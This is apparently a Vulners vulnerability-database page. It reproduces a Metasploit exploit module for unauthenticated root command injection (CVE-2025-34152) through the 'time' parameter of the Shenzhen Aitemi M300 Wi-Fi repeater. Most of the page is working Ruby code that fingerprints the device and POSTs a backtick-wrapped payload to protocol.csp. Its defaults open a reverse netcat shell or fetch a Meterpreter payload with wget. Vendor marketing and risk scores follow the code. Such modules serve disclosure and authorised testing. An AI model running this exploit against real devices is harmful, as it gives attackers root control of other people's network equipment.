Lucene search
K

Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)

🗓️ 10 Sep 2025 18:53:40Reported by Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 587 Views

Unauthenticated command injection on Shenzhen Aitemi M300 Wi-Fi Repeater via time parameter.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
        'Description' => %q{
          This module exploits an unauthenticated remote command injection vulnerability
          in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
          lies in the 'time' parameter of the time configuration endpoint, which is passed
          unsanitized to a shell command executed via the `date -s` mechanism. The injection
          executes with root privileges, without requiring authentication, reboot, or
          network reconfiguration.
        },
        'Author' => [
          'Valentin Lobstein' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
          ['CVE', '2025-34152']
        ],
        'Platform' => %w[linux unix],
        'Payload' => {
          'BadChars' => "\x60"
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_CMD, ARCH_MIPSBE],
              'DefaultOptions' => {
                'FETCH_DELETE' => true,
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp',
                'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2025-08-07',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    fingerprint_hits = []

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'favicon.ico')
    )

    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Safe('favicon.ico not found') unless res.code == 200

    hash = Digest::SHA256.hexdigest(res.body)
    if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
      print_good('Favicon hash matched – likely Aitemi M300 device')
      fingerprint_hits << 'favicon'
    end

    server_header = res.headers['Server']
    if server_header&.start_with?('lighttpd/1.4.32')
      print_good("HTTP server version matched: #{server_header}")
      fingerprint_hits << 'httpd'
    end

    %w[index.html home.html].each do |page|
      res_html = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, page)
      )

      next unless res_html&.code == 200

      if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
        print_good("HTML fingerprint matched in #{page} – UI strings detected")
        return CheckCode::Appears('HTML language markers confirmed')
      end
    end

    if fingerprint_hits.any?
      return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
    end

    CheckCode::Unknown('No identifiable fingerprint found')
  end

  def exploit
    raw_payload = "`#{payload.encoded}`"
    encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jun 2026 19:04Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.4
EPSS0.23318
SSVC
587